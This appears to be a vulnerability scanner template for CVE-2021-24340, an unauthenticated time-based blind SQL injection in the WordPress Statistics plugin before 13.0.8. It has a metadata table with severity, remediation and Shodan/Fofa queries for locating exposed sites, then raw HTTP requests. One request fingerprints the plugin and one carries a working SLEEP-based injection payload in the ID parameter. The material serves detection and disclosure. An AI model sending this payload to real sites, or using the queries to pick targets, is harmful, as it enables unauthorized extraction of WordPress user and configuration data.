| Title | WordPress Statistics <13.0.8 - Blind SQL Injection |
|---|---|
| Author | lotusdll,j4vaovo |
| Severity | High |
| Impact | Unauthenticated attackers can extract database contents via time-based blind SQL injection, potentially exposing sensitive WordPress configuration and user data. |
| Remediation | Update to WordPress Statistics plugin version 13.0.8 or later to mitigate the vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.8326 |
| CVE ID | CVE-2021-24340 |
| CWE ID | CWE-89 |
| Shodan Query | http.html:/wp-content/plugins/wp-statistics/ |
| Fofa Query | body=/wp-content/plugins/wp-statistics/ |
| Tags | time-based-sqli cve2021 cve wp-plugin unauth wpscan wordpress sqli blind edb veronalabs vuln |
WordPress Statistic plugin versions prior to version 13.0.8 are affected by an unauthenticated time-based blind SQL injection vulnerability.
GET /wp-content/plugins/wp-statistics/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-en) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4
Connection: close
Accept-Encoding: gzip
GET /wp-admin/admin.php?page=wps_pages_page&ID=0+AND+(SELECT+1+FROM+(SELECT(SLEEP(7)))test)&type=home HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Connection: close
Accept-Encoding: gzip
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